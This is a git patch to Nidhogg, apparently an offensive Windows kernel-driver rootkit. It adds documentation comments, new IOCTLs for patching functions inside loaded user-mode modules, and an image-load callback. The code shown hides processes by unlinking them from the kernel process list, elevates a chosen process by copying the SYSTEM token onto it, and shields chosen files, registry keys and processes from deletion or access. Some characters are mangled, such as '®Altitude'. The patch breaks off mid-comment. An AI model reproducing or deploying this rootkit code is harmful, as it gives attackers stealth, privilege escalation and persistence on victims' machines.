From 9da4d60e113779e31e7a3fd10ed981f12dc5fb43 Mon Sep 17 00:00:00 2001
From: Ido Veltzman <62358580+Idov31@users.noreply.github.com>
Date: Tue, 11 Oct 2022 11:01:28 +0300
Subject: [PATCH 01/10] Added function documentation, refactored code
---
Nidhogg/FileUtils.hpp | 41 ++++++
Nidhogg/Nidhogg.cpp | 177 +++++++++++++++++++++++++-
Nidhogg/Nidhogg.h | 125 +++++++-----------
Nidhogg/Nidhogg.vcxproj | 10 ++
Nidhogg/Nidhogg.vcxproj.filters | 12 ++
Nidhogg/NidhoggHelperFunctions.hpp | 42 ++++++
Nidhogg/NidhoggUtils.h | 8 ++
Nidhogg/ProcessUtils.hpp | 103 ++++++++++++++-
Nidhogg/RegistryUtils.hpp | 157 +++++++++++++++++++++++
Nidhogg/WindowsTypes.h | 197 +++++++++++++++++++++++++++++
10 files changed, 780 insertions(+), 92 deletions(-)
create mode 100644 Nidhogg/NidhoggHelperFunctions.hpp
create mode 100644 Nidhogg/NidhoggUtils.h
create mode 100644 Nidhogg/WindowsTypes.h
diff --git a/Nidhogg/FileUtils.hpp b/Nidhogg/FileUtils.hpp
index 6a43636..7c3c39d 100644
--- a/Nidhogg/FileUtils.hpp
+++ b/Nidhogg/FileUtils.hpp
@@ -6,6 +6,17 @@ bool FindFile(WCHAR* path);
bool AddFile(WCHAR* path);
bool RemoveFile(WCHAR* path);
+/*
+* Description:
+* OnPreFileOperation is responsible for handling file access operations and remove certain permissions from protected files.
+*
+* Parameters:
+* @RegistrationContext [PVOID] -- Unused.
+* @Info [POB_PRE_OPERATION_INFORMATION] -- Contains important information such as file name, file object, object type, etc.
+*
+* Returns:
+* @status [NTSTATUS] -- Always OB_PREOP_SUCCESS.
+*/
OB_PREOP_CALLBACK_STATUS OnPreFileOperation(PVOID /* RegistrationContext */, POB_PRE_OPERATION_INFORMATION Info) {
POBJECT_NAME_INFORMATION ObjectNameInfo;
UNICODE_STRING filePath;
@@ -51,6 +62,16 @@ OB_PREOP_CALLBACK_STATUS OnPreFileOperation(PVOID /* RegistrationContext */, POB
return OB_PREOP_SUCCESS;
}
+/*
+* Description:
+* FindFile is responsible for searching if a file exists in the protected files list.
+*
+* Parameters:
+* @path [WCHAR*] -- File's path.
+*
+* Returns:
+* @status [bool] -- Whether found or not.
+*/
bool FindFile(WCHAR* path) {
for (int i = 0; i < fGlobals.Files.FilesCount; i++)
if (_wcsicmp(fGlobals.Files.FilesPath[i], path) == 0)
@@ -58,6 +79,16 @@ bool FindFile(WCHAR* path) {
return false;
}
+/*
+* Description:
+* AddFile is responsible for adding a file to the protected files list.
+*
+* Parameters:
+* @path [WCHAR*] -- File's path.
+*
+* Returns:
+* @status [bool] -- Whether successfully added or not.
+*/
bool AddFile(WCHAR* path) {
for (int i = 0; i < MAX_FILES; i++)
if (fGlobals.Files.FilesPath[i] == nullptr) {
@@ -77,6 +108,16 @@ bool AddFile(WCHAR* path) {
return false;
}
+/*
+* Description:
+* RemoveFile is responsible for removing a file to the protected files list.
+*
+* Parameters:
+* @path [WCHAR*] -- File's path.
+*
+* Returns:
+* @status [bool] -- Whether successfully removed or not.
+*/
bool RemoveFile(WCHAR* path) {
for (int i = 0; i < fGlobals.Files.FilesCount; i++)
if (_wcsicmp(fGlobals.Files.FilesPath[i], path) == 0) {
diff --git a/Nidhogg/Nidhogg.cpp b/Nidhogg/Nidhogg.cpp
index 7735d40..2be0daa 100644
--- a/Nidhogg/Nidhogg.cpp
+++ b/Nidhogg/Nidhogg.cpp
@@ -1,8 +1,6 @@
#include "pch.h"
#include "Nidhogg.h"
-#include "ProcessUtils.hpp"
-#include "FileUtils.hpp"
-#include "RegistryUtils.hpp"
+#include "NidhoggUtils.h"
extern "C"
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING) {
@@ -10,6 +8,8 @@ NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING) {
pGlobals.Init();
fGlobals.Init();
rGlobals.Init();
+ pmGlobals.Init();
+ dimGlobals.Init();
// Setting up the device object.
UNICODE_STRING deviceName = RTL_CONSTANT_STRING(DRIVER_DEVICE_NAME);
@@ -68,11 +68,27 @@ NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING) {
return status;
}
+ status = PsSetLoadImageNotifyRoutine(OnImageLoad);
+
+ if (!NT_SUCCESS(status)) {
+ KdPrint((DRIVER_PREFIX "failed to register image notify callback: (0x%08X)\n", status));
+
+ if (registrationHandle) {
+ ObUnRegisterCallbacks(registrationHandle);
+ registrationHandle = NULL;
+ }
+ IoDeleteSymbolicLink(&symbolicLink);
+ IoDeleteDevice(DeviceObject);
+ return status;
+ }
+
status = CmRegisterCallbackEx(OnRegistryNotify, ®Altitude, DriverObject, nullptr, &rGlobals.RegCookie, nullptr);
if (!NT_SUCCESS(status)) {
KdPrint((DRIVER_PREFIX "failed to register registry callback: (0x%08X)\n", status));
+ PsRemoveLoadImageNotifyRoutine(OnImageLoad);
+
if (registrationHandle) {
ObUnRegisterCallbacks(registrationHandle);
registrationHandle = NULL;
@@ -91,7 +107,16 @@ NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING) {
return status;
}
-
+/*
+* Description:
+* NidhoggUnload is responsible for handling the driver unloading process which includes: Removing all hooks, deleting the symbolic link and the deviceobject.
+*
+* Parameters:
+* @DriverObject [PDRIVER_OBJECT] -- The driver object contains a lot of important driver configuration such as DeviceObject, MajorFunctions and more.
+*
+* Returns:
+* There is no return value.
+*/
void NidhoggUnload(PDRIVER_OBJECT DriverObject) {
KdPrint((DRIVER_PREFIX "Unloading...\n"));
@@ -100,6 +125,13 @@ void NidhoggUnload(PDRIVER_OBJECT DriverObject) {
if (!NT_SUCCESS(status)) {
KdPrint((DRIVER_PREFIX "failed to unregister registry callbacks: (0x%08X)\n", status));
}
+
+ status = PsRemoveLoadImageNotifyRoutine(OnImageLoad);
+
+ if (!NT_SUCCESS(status)) {
+ KdPrint((DRIVER_PREFIX "failed to unregister image load callback: (0x%08X)\n", status));
+ }
+
ClearAll();
// To avoid BSOD.
@@ -107,12 +139,24 @@ void NidhoggUnload(PDRIVER_OBJECT DriverObject) {
ObUnRegisterCallbacks(registrationHandle);
registrationHandle = NULL;
}
+
UNICODE_STRING symbolicLink = RTL_CONSTANT_STRING(DRIVER_SYMBOLIC_LINK);
IoDeleteSymbolicLink(&symbolicLink);
IoDeleteDevice(DriverObject->DeviceObject);
}
-
+/*
+* Description:
+* CompleteIrp is responsible for handling the status return via the IRP.
+*
+* Parameters:
+* @Irp [PIRP] -- The IRP that contains the request's status.
+* @status [NTSTATUS] -- The status to assign to the IRP.
+* @info [ULONG_PTR] -- Additional information to assign to the IRP.
+*
+* Returns:
+* @status [NTSTATUS] -- The given status parameter.
+*/
NTSTATUS CompleteIrp(PIRP Irp, NTSTATUS status, ULONG_PTR info) {
Irp->IoStatus.Status = status;
Irp->IoStatus.Information = info;
@@ -120,7 +164,17 @@ NTSTATUS CompleteIrp(PIRP Irp, NTSTATUS status, ULONG_PTR info) {
return status;
}
-
+/*
+* Description:
+* NidhoggCreateClose is responsible for creating a success response for given IRP.
+*
+* Parameters:
+* @DeviceObject [PDEVICE_OBJECT] -- Not used.
+* @Irp [PIRP] -- The IRP that contains the user data such as SystemBuffer, Irp stack, etc.
+*
+* Returns:
+* @status [NTSTATUS] -- Always will be STATUS_SUCCESS.
+*/
NTSTATUS NidhoggCreateClose(PDEVICE_OBJECT, PIRP Irp) {
Irp->IoStatus.Status = STATUS_SUCCESS;
Irp->IoStatus.Information = 0;
@@ -128,7 +182,18 @@ NTSTATUS NidhoggCreateClose(PDEVICE_OBJECT, PIRP Irp) {
return STATUS_SUCCESS;
}
-
+/*
+* Description:
+* NidhoggDeviceControl is responsible for handling IOCTLs and returning output to the user via IRPs.
+* Every user communication should go through this function using the relevant IOCTL.
+*
+* Parameters:
+* @DeviceObject [PDEVICE_OBJECT] -- Not used.
+* @Irp [PIRP] -- The IRP that contains the user data such as SystemBuffer, Irp stack, etc.
+*
+* Returns:
+* @status [NTSTATUS] -- Whether the function succeeded or not, if not the error code.
+*/
NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) {
auto stack = IoGetCurrentIrpStackLocation(Irp);
auto status = STATUS_SUCCESS;
@@ -696,6 +761,79 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) {
break;
}
+ case IOCTL_NIDHOGG_PATCH_MODULE:
+ {
+ auto size = stack->Parameters.DeviceIoControl.InputBufferLength;
+
+ if (size % sizeof(PatchedModule) != 0) {
+ KdPrint((DRIVER_PREFIX "Invalid buffer type.\n"));
+ status = STATUS_INVALID_BUFFER_SIZE;
+ break;
+ }
+
+ auto data = (PatchedModule*)Irp->AssociatedIrp.SystemBuffer;
+
+ if (strlen((*data).FunctionName) == 0 || wcslen((*data).ModuleName) == 0 || strlen((char*)(*data).Patch) == 0) {
+ KdPrint((DRIVER_PREFIX "Buffer is empty.\n"));
+ status = STATUS_INVALID_PARAMETER;
+ break;
+ }
+
+ AutoLock locker(pmGlobals.Lock);
+
+ if (pmGlobals.ModulesList.PatchedModulesCount == MAX_PATCHED_MODULES) {
+ KdPrint((DRIVER_PREFIX "Module list is full.\n"));
+ status = STATUS_TOO_MANY_CONTEXT_IDS;
+ break;
+ }
+
+ if (!FindModule(*data)) {
+ if (!AddModule(*data)) {
+ KdPrint((DRIVER_PREFIX "Failed to add module.\n"));
+ status = STATUS_UNSUCCESSFUL;
+ break;
+ }
+
+ auto prevIrql = KeGetCurrentIrql();
+ KeLowerIrql(PASSIVE_LEVEL);
+ KdPrint((DRIVER_PREFIX "Patching module %ws.\n", (*data).ModuleName));
+ KeRaiseIrql(prevIrql, &prevIrql);
+ break;
+ }
+ }
+
+ case IOCTL_NIDHOGG_UNPATCH_MODULE:
+ {
+ auto size = stack->Parameters.DeviceIoControl.InputBufferLength;
+
+ if (size % sizeof(PatchedModule) != 0) {
+ KdPrint((DRIVER_PREFIX "Invalid buffer type.\n"));
+ status = STATUS_INVALID_BUFFER_SIZE;
+ break;
+ }
+
+ auto data = (PatchedModule*)Irp->AssociatedIrp.SystemBuffer;
+
+ if (strlen((*data).FunctionName) == 0 || wcslen((*data).ModuleName) == 0) {
+ KdPrint((DRIVER_PREFIX "Buffer is empty.\n"));
+ status = STATUS_INVALID_PARAMETER;
+ break;
+ }
+
+ AutoLock locker(pmGlobals.Lock);
+
+ if (!RemoveModule(*data)) {
+ KdPrint((DRIVER_PREFIX "Module not found.\n"));
+ status = STATUS_NOT_FOUND;
+ break;
+ }
+ auto prevIrql = KeGetCurrentIrql();
+ KeLowerIrql(PASSIVE_LEVEL);
+ KdPrint((DRIVER_PREFIX "Removed patched module %ws.\n", (*data).ModuleName));
+ KeRaiseIrql(prevIrql, &prevIrql);
+ break;
+ }
+
default:
status = STATUS_INVALID_DEVICE_REQUEST;
break;
@@ -707,6 +845,16 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) {
return status;
}
+/*
+* Description:
+* ClearAll is responsible for freeing all allocated memory and cleaning all the globals.
+*
+* Parameters:
+* There are no parameters.
+*
+* Returns:
+* There is no return value.
+*/
void ClearAll() {
// Clearing the process array.
AutoLock processLocker(pGlobals.Lock);
@@ -739,4 +887,19 @@ void ClearAll() {
rGlobals.ProtectedItems.Values.ValuesName[i] = nullptr;
}
rGlobals.ProtectedItems.Values.ValuesCount = 0;
+
+ AutoLock moduleLocker(pmGlobals.Lock);
+
+ for (int i = 0; i < pmGlobals.ModulesList.PatchedModulesCount; i++) {
+ if (pmGlobals.ModulesList.Modules[i].FunctionName)
+ ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].FunctionName, DRIVER_TAG);
+ if (pmGlobals.ModulesList.Modules[i].ModuleName)
+ ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].ModuleName, DRIVER_TAG);
+ if (pmGlobals.ModulesList.Modules[i].Patch)
+ ExFreePoolWithTag(pmGlobals.ModulesList.Modules[i].Patch, DRIVER_TAG);
+ pmGlobals.ModulesList.Modules[i].FunctionName = nullptr;
+ pmGlobals.ModulesList.Modules[i].ModuleName = nullptr;
+ pmGlobals.ModulesList.Modules[i].Patch = nullptr;
+ }
+ pmGlobals.ModulesList.PatchedModulesCount = 0;
}
diff --git a/Nidhogg/Nidhogg.h b/Nidhogg/Nidhogg.h
index 2c885a5..473cd8c 100644
--- a/Nidhogg/Nidhogg.h
+++ b/Nidhogg/Nidhogg.h
@@ -28,8 +28,13 @@
#define IOCTL_NIDHOGG_UNPROTECT_REGITEM CTL_CODE(0x8000, 0x80B, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_NIDHOGG_CLEAR_REGITEMS CTL_CODE(0x8000, 0x80C, METHOD_BUFFERED, FILE_ANY_ACCESS)
#define IOCTL_NIDHOGG_QUERY_REGITEMS CTL_CODE(0x8000, 0x80D, METHOD_BUFFERED, FILE_ANY_ACCESS)
+
+#define IOCTL_NIDHOGG_GLOBAL_PATCH_MODULE CTL_CODE(0x8000, 0x80E, METHOD_BUFFERED, FILE_ANY_ACCESS)
+#define IOCTL_NIDHOGG_GLOBAL_UNPATCH_MODULE CTL_CODE(0x8000, 0x80F, METHOD_BUFFERED, FILE_ANY_ACCESS)
+#define IOCTL_NIDHOGG_PATCH_MODULE CTL_CODE(0x8000, 0x810, METHOD_BUFFERED, FILE_ANY_ACCESS)
// *****************************************************************************************************
+#define MAX_PATCHED_MODULES 256
#define MAX_PIDS 256
#define MAX_PATH 260
#define MAX_FILES 256
@@ -43,21 +48,58 @@ DRIVER_UNLOAD NidhoggUnload;
DRIVER_DISPATCH NidhoggDeviceControl, NidhoggCreateClose;
void ClearAll();
+typedef NTSTATUS(NTAPI* tZwProtectVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, SIZE_T* NumberOfBytesToProtect, ULONG NewAccessProtection, PULONG OldAccessProtection);
+typedef NTSTATUS(NTAPI* tMmCopyVirtualMemory)(PEPROCESS SourceProcess, PVOID SourceAddress, PEPROCESS TargetProcess, PVOID TargetAddress, SIZE_T BufferSize, KPROCESSOR_MODE PreviousMode, PSIZE_T ReturnSize);
+
// Globals.
PVOID registrationHandle = NULL;
+struct DynamicImportedModulesGlobal {
+ tZwProtectVirtualMemory ZwProtectVirtualMemory;
+ tMmCopyVirtualMemory MmCopyVirtualMemory;
+
+ void Init() {
+ UNICODE_STRING routineName;
+ RtlInitUnicodeString(&routineName, L"ZwProtectVirtualMemory");
+ ZwProtectVirtualMemory = (tZwProtectVirtualMemory)MmGetSystemRoutineAddress(&routineName);
+ RtlInitUnicodeString(&routineName, L"MmCopyVirtualMemory");
+ MmCopyVirtualMemory = (tMmCopyVirtualMemory)MmGetSystemRoutineAddress(&routineName);
+ }
+};
+DynamicImportedModulesGlobal dimGlobals;
+
+struct PatchedModule {
+ PUCHAR Patch;
+ CHAR* FunctionName;
+ WCHAR* ModuleName;
+};
+
+struct PatchedModulesList {
+ int PatchedModulesCount;
+ PatchedModule Modules[MAX_PATCHED_MODULES];
+};
+
+struct PatchedModulesGlobal {
+ PatchedModulesList ModulesList;
+ FastMutex Lock;
+
+ void Init() {
+ ModulesList.PatchedModulesCount = 0;
+ Lock.Init();
+ }
+};
+PatchedModulesGlobal pmGlobals;
+
struct ProcessesList {
int PidsCount;
ULONG Pids[MAX_PIDS];
};
struct ProcessGlobals {
- bool BypassAMSI;
ProcessesList Processes;
FastMutex Lock;
void Init() {
- BypassAMSI = false;
Processes.PidsCount = 0;
Lock.Init();
}
@@ -123,82 +165,3 @@ struct RegistryGlobals {
}
};
RegistryGlobals rGlobals;
-
-// Undocumented structs
-struct _OBJECT_TYPE_INITIALIZER_TEMP
-{
- USHORT Length; //0x0
- union
- {
- USHORT ObjectTypeFlags; //0x2
- struct
- {
- UCHAR CaseInsensitive : 1; //0x2
- UCHAR UnnamedObjectsOnly : 1; //0x2
- UCHAR UseDefaultObject : 1; //0x2
- UCHAR SecurityRequired : 1; //0x2
- UCHAR MaintainHandleCount : 1; //0x2
- UCHAR MaintainTypeList : 1; //0x2
- UCHAR SupportsObjectCallbacks : 1; //0x2
- UCHAR CacheAligned : 1; //0x2
- UCHAR UseExtendedParameters : 1; //0x3
- UCHAR Reserved : 7; //0x3
- };
- };
- ULONG ObjectTypeCode; //0x4
- ULONG InvalidAttributes; //0x8
- struct _GENERIC_MAPPING GenericMapping; //0xc
- ULONG ValidAccessMask; //0x1c
- ULONG RetainAccess; //0x20
- enum _POOL_TYPE PoolType; //0x24
- ULONG DefaultPagedPoolCharge; //0x28
- ULONG DefaultNonPagedPoolCharge; //0x2c
- VOID(*DumpProcedure)(VOID* arg1, struct _OBJECT_DUMP_CONTROL* arg2); //0x30
- LONG(*OpenProcedure)(enum _OB_OPEN_REASON arg1, CHAR arg2, struct _EPROCESS* arg3, VOID* arg4, ULONG* arg5, ULONG arg6); //0x38
- VOID(*CloseProcedure)(struct _EPROCESS* arg1, VOID* arg2, ULONGLONG arg3, ULONGLONG arg4); //0x40
- VOID(*DeleteProcedure)(VOID* arg1); //0x48
- union
- {
- LONG(*ParseProcedure)(VOID* arg1, VOID* arg2, struct _ACCESS_STATE* arg3, CHAR arg4, ULONG arg5, struct _UNICODE_STRING* arg6, struct _UNICODE_STRING* arg7, VOID* arg8, struct _SECURITY_QUALITY_OF_SERVICE* arg9, VOID** arg10); //0x50
- LONG(*ParseProcedureEx)(VOID* arg1, VOID* arg2, struct _ACCESS_STATE* arg3, CHAR arg4, ULONG arg5, struct _UNICODE_STRING* arg6, struct _UNICODE_STRING* arg7, VOID* arg8, struct _SECURITY_QUALITY_OF_SERVICE* arg9, struct _OB_EXTENDED_PARSE_PARAMETERS* arg10, VOID** arg11); //0x50
- };
- LONG(*SecurityProcedure)(VOID* arg1, enum _SECURITY_OPERATION_CODE arg2, ULONG* arg3, VOID* arg4, ULONG* arg5, VOID** arg6, enum _POOL_TYPE arg7, struct _GENERIC_MAPPING* arg8, CHAR arg9); //0x58
- LONG(*QueryNameProcedure)(VOID* arg1, UCHAR arg2, struct _OBJECT_NAME_INFORMATION* arg3, ULONG arg4, ULONG* arg5, CHAR arg6); //0x60
- UCHAR(*OkayToCloseProcedure)(struct _EPROCESS* arg1, VOID* arg2, VOID* arg3, CHAR arg4); //0x68
- ULONG WaitObjectFlagMask; //0x70
- USHORT WaitObjectFlagOffset; //0x74
- USHORT WaitObjectPointerOffset; //0x76
-};
-
-struct _EX_PUSH_LOCK_TEMP
-{
- union
- {
- struct
- {
- ULONGLONG Locked : 1; //0x0
- ULONGLONG Waiting : 1; //0x0
- ULONGLONG Waking : 1; //0x0
- ULONGLONG MultipleShared : 1; //0x0
- ULONGLONG Shared : 60; //0x0
- };
- ULONGLONG Value; //0x0
- VOID* Ptr; //0x0
- };
-};
-
-typedef struct _OBJECT_TYPE_TEMP
-{
- struct _LIST_ENTRY TypeList; //0x0
- struct _UNICODE_STRING Name; //0x10
- VOID* DefaultObject; //0x20
- UCHAR Index; //0x28
- ULONG TotalNumberOfObjects; //0x2c
- ULONG TotalNumberOfHandles; //0x30
- ULONG HighWaterNumberOfObjects; //0x34
- ULONG HighWaterNumberOfHandles; //0x38
- struct _OBJECT_TYPE_INITIALIZER_TEMP TypeInfo; //0x40
- struct _EX_PUSH_LOCK_TEMP TypeLock; //0xb8
- ULONG Key; //0xc0
- struct _LIST_ENTRY CallbackList; //0xc8
-} OBJECT_TYPE_TEMP, * POBJECT_TYPE_TEMP;
diff --git a/Nidhogg/Nidhogg.vcxproj b/Nidhogg/Nidhogg.vcxproj
index d2d4c45..52f46bd 100644
--- a/Nidhogg/Nidhogg.vcxproj
+++ b/Nidhogg/Nidhogg.vcxproj
@@ -156,6 +156,9 @@
/INTEGRITYCHECK %(AdditionalOptions)
+
+
+ %(AdditionalDependencies);$(KernelBufferOverflowLib);$(DDK_LIB_PATH)ntoskrnl.lib;$(DDK_LIB_PATH)hal.lib;$(DDK_LIB_PATH)wmilib.lib
@@ -171,6 +174,9 @@
/INTEGRITYCHECK %(AdditionalOptions)
+
+
+ %(AdditionalDependencies);$(KernelBufferOverflowLib);$(DDK_LIB_PATH)ntoskrnl.lib;$(DDK_LIB_PATH)hal.lib;$(DDK_LIB_PATH)wmilib.lib
false
@@ -189,10 +195,14 @@
+
+
+
+
diff --git a/Nidhogg/Nidhogg.vcxproj.filters b/Nidhogg/Nidhogg.vcxproj.filters
index 5e31538..93a04f3 100644
--- a/Nidhogg/Nidhogg.vcxproj.filters
+++ b/Nidhogg/Nidhogg.vcxproj.filters
@@ -40,6 +40,18 @@
Header Files
+
+ Header Files
+
+
+ Header Files
+
+
+ Header Files
+
+
+ Header Files
+
diff --git a/Nidhogg/NidhoggHelperFunctions.hpp b/Nidhogg/NidhoggHelperFunctions.hpp
new file mode 100644
index 0000000..56504a3
--- /dev/null
+++ b/Nidhogg/NidhoggHelperFunctions.hpp
@@ -0,0 +1,42 @@
+#pragma once
+#include "pch.h"
+
+/*
+* Description:
+* wcisstr is responsible for comparing two wchar_t* and find if one contains the other (case insensitive).
+*
+* Parameters:
+* @haystack [wchar_t*] -- Possible container.
+* @needle [wchar_t*] -- Possible contained.
+*
+* Returns:
+* @status [bool] -- Whether haystack is contains needle.
+*/
+bool wcisstr(wchar_t* haystack, wchar_t* needle) {
+ int j = 0;
+ size_t index = wcslen(haystack) - wcslen(needle);
+
+ auto needleInHaystackLen = (wcslen(needle) + 1) * sizeof(WCHAR);
+ auto needleInHaystack = (WCHAR*)ExAllocatePoolWithTag(PagedPool, needleInHaystackLen, DRIVER_TAG);
+
+ if (!needleInHaystack)
+ return false;
+
+ for (size_t i = index; i < wcslen(haystack); i++) {
+ if (j >= wcslen(needle))
+ break;
+
+ needleInHaystack[j] = haystack[i];
+ j++;
+ }
+
+ needleInHaystack[wcslen(needle)] = L'\0';
+
+ if (_wcsicmp(needleInHaystack, needle) == 0) {
+ ExFreePoolWithTag(needleInHaystack, DRIVER_TAG);
+ return true;
+ }
+
+ ExFreePoolWithTag(needleInHaystack, DRIVER_TAG);
+ return false;
+}
diff --git a/Nidhogg/NidhoggUtils.h b/Nidhogg/NidhoggUtils.h
new file mode 100644
index 0000000..ff7a9c6
--- /dev/null
+++ b/Nidhogg/NidhoggUtils.h
@@ -0,0 +1,8 @@
+#pragma once
+#include "pch.h"
+#include "WindowsTypes.h"
+#include "NidhoggHelperFunctions.hpp"
+#include "ProcessUtils.hpp"
+#include "FileUtils.hpp"
+#include "RegistryUtils.hpp"
+#include "ModuleUtils.hpp"
diff --git a/Nidhogg/ProcessUtils.hpp b/Nidhogg/ProcessUtils.hpp
index 6826058..f2955c4 100644
--- a/Nidhogg/ProcessUtils.hpp
+++ b/Nidhogg/ProcessUtils.hpp
@@ -8,6 +8,16 @@
#define PROCESS_VM_READ 0x10
#define PROCESS_VM_OPERATION 8
+/*
+* Description:
+* FindProcess is responsible for searching if a process exists in the list of protected processes.
+*
+* Parameters:
+* @pid [ULONG] -- PID to search.
+*
+* Returns:
+* @status [bool] -- Whether found or not.
+*/
bool FindProcess(ULONG pid) {
for (int i = 0; i < pGlobals.Processes.PidsCount; i++)
if (pGlobals.Processes.Pids[i] == pid)
@@ -15,6 +25,16 @@ bool FindProcess(ULONG pid) {
return false;
}
+/*
+* Description:
+* AddProcess is responsible for adding a process to the list of protected processes.
+*
+* Parameters:
+* @pid [ULONG] -- PID to add.
+*
+* Returns:
+* @status [bool] -- Whether successfully added or not.
+*/
bool AddProcess(ULONG pid) {
for (int i = 0; i < MAX_PIDS; i++)
if (pGlobals.Processes.Pids[i] == 0) {
@@ -25,6 +45,16 @@ bool AddProcess(ULONG pid) {
return false;
}
+/*
+* Description:
+* RemoveProcess is responsible for remove a process from the list of protected processes.
+*
+* Parameters:
+* @pid [ULONG] -- PID to remove.
+*
+* Returns:
+* @status [bool] -- Whether successfully removed or not.
+*/
bool RemoveProcess(ULONG pid) {
for (int i = 0; i < pGlobals.Processes.PidsCount; i++)
if (pGlobals.Processes.Pids[i] == pid) {
@@ -35,12 +65,23 @@ bool RemoveProcess(ULONG pid) {
return false;
}
+/*
+* Description:
+* OnPreOpenProcess is responsible for handling process access operations and remove certain permissions from protected processes.
+*
+* Parameters:
+* @RegistrationContext [PVOID] -- Unused.
+* @Info [POB_PRE_OPERATION_INFORMATION] -- Contains important information such as process name, handle to the process, process type, etc.
+*
+* Returns:
+* @status [NTSTATUS] -- Always OB_PREOP_SUCCESS.
+*/
OB_PREOP_CALLBACK_STATUS OnPreOpenProcess(PVOID /* RegistrationContext */, POB_PRE_OPERATION_INFORMATION Info) {
if (Info->KernelHandle)
return OB_PREOP_SUCCESS;
- auto process = (PEPROCESS)Info->Object;
- auto pid = HandleToULong(PsGetProcessId(process));
+ auto Process = (PEPROCESS)Info->Object;
+ auto pid = HandleToULong(PsGetProcessId(Process));
AutoLock locker(pGlobals.Lock);
@@ -56,6 +97,16 @@ OB_PREOP_CALLBACK_STATUS OnPreOpenProcess(PVOID /* RegistrationContext */, POB_P
return OB_PREOP_SUCCESS;
}
+/*
+* Description:
+* GetActiveProcessLinksOffset is responsible for getting the active process link offset depends on the windows version.
+*
+* Parameters:
+* There are no parameters.
+*
+* Returns:
+* @activeProcessLinks [ULONG] -- Offset of active process links.
+*/
ULONG GetActiveProcessLinksOffset() {
ULONG activeProcessLinks = (ULONG)STATUS_UNSUCCESSFUL;
RTL_OSVERSIONINFOW osVersion = { sizeof(osVersion) };
@@ -85,7 +136,18 @@ ULONG GetActiveProcessLinksOffset() {
return activeProcessLinks;
}
-VOID RemoveProcessLinks(PLIST_ENTRY current) {
+/*
+* Description:
+* RemoveProcessLinks is responsible for modifying the list by connecting the previous entry to the next entry and by
+* that "removing" the current entry.
+*
+* Parameters:
+* @current [PLIST_ENTRY] -- Current process entry.
+*
+* Returns:
+* There is no return value.
+*/
+void RemoveProcessLinks(PLIST_ENTRY current) {
PLIST_ENTRY previous, next;
/*
@@ -112,6 +174,16 @@ VOID RemoveProcessLinks(PLIST_ENTRY current) {
current->Flink = (PLIST_ENTRY)¤t->Flink;
}
+/*
+* Description:
+* HideProcess is responsible for hiding a process by modifying the process list.
+*
+* Parameters:
+* @pid [ULONG] -- PID to hide.
+*
+* Returns:
+* @status [NTSTATUS] -- Whether successfully hidden or not.
+*/
NTSTATUS HideProcess(ULONG pid) {
// Getting the offset depending on the OS version.
ULONG pidOffset = GetActiveProcessLinksOffset();
@@ -152,6 +224,16 @@ NTSTATUS HideProcess(ULONG pid) {
return STATUS_SUCCESS;
}
+/*
+* Description:
+* GetTokenOffset is responsible for getting the main thread's token offset depends on the windows version.
+*
+* Parameters:
+* There are no parameters.
+*
+* Returns:
+* @tokenOffset [UINT64] -- Offset of the main thread's token.
+*/
UINT64 GetTokenOffset() {
UINT64 tokenOffset = (UINT64)STATUS_UNSUCCESSFUL;
RTL_OSVERSIONINFOW osVersion = { sizeof(osVersion) };
@@ -181,6 +263,16 @@ UINT64 GetTokenOffset() {
return tokenOffset;
}
+/*
+* Description:
+* ElevateProcess is responsible for stealing a token from the SYSTEM process and giving it to other process.
+*
+* Parameters:
+* @pid [ULONG] -- PID to elevate.
+*
+* Returns:
+* @status [NTSTATUS] -- Whether successfully elevated or not.
+*/
NTSTATUS ElevateProcess(ULONG targetPid) {
PEPROCESS privilegedProcess, targetProcess;
NTSTATUS status = STATUS_SUCCESS;
@@ -197,10 +289,13 @@ NTSTATUS ElevateProcess(ULONG targetPid) {
if (!NT_SUCCESS(status))
{
+ ObDereferenceObject(targetProcess);
return status;
}
* (UINT64*)((UINT64)targetProcess + tokenOffset) = *(UINT64*)(UINT64(privilegedProcess) + tokenOffset);
+ ObDereferenceObject(privilegedProcess);
+ ObDereferenceObject(targetProcess);
return status;
-}
\ No newline at end of file
+}
diff --git a/Nidhogg/RegistryUtils.hpp b/Nidhogg/RegistryUtils.hpp
index 9942fa4..1c8a000 100644
--- a/Nidhogg/RegistryUtils.hpp
+++ b/Nidhogg/RegistryUtils.hpp
@@ -23,6 +23,18 @@ NTSTATUS RegNtPreSetValueKeyHandler(REG_SET_VALUE_KEY_INFORMATION* info);
NTSTATUS RegNtPostEnumerateKeyHandler(REG_POST_OPERATION_INFORMATION* info);
NTSTATUS RegNtPostEnumerateValueKeyHandler(REG_POST_OPERATION_INFORMATION* info);
+/*
+* Description:
+* OnRegistryNotify is responsible for handling registry operations and handle some of them.
+*
+* Parameters:
+* @context [PVOID] -- Unused.
+* @arg1 [PVOID] -- Type of operation.
+* @arg2 [PVOID] -- Operation's information.
+*
+* Returns:
+* @status [NTSTATUS] -- Whether the operation was successful or not.
+*/
NTSTATUS OnRegistryNotify(PVOID context, PVOID arg1, PVOID arg2) {
UNREFERENCED_PARAMETER(context);
NTSTATUS status = STATUS_SUCCESS;
@@ -57,6 +69,16 @@ NTSTATUS OnRegistryNotify(PVOID context, PVOID arg1, PVOID arg2) {
return status;
}
+/*
+* Description:
+* RegNtPreDeleteKeyHandler is responsible for handling registry key deletion and block it for protected registry keys.
+*
+* Parameters:
+* @info [REG_DELETE_KEY_INFORMATION*] -- Contains important information such as key path, key object, etc.
+*
+* Returns:
+* @status [NTSTATUS] -- Whether the operation was successful or not.
+*/
NTSTATUS RegNtPreDeleteKeyHandler(REG_DELETE_KEY_INFORMATION* info) {
RegItem regItem;
PCUNICODE_STRING regPath;
@@ -91,6 +113,16 @@ NTSTATUS RegNtPreDeleteKeyHandler(REG_DELETE_KEY_INFORMATION* info) {
return status;
}
+/*
+* Description:
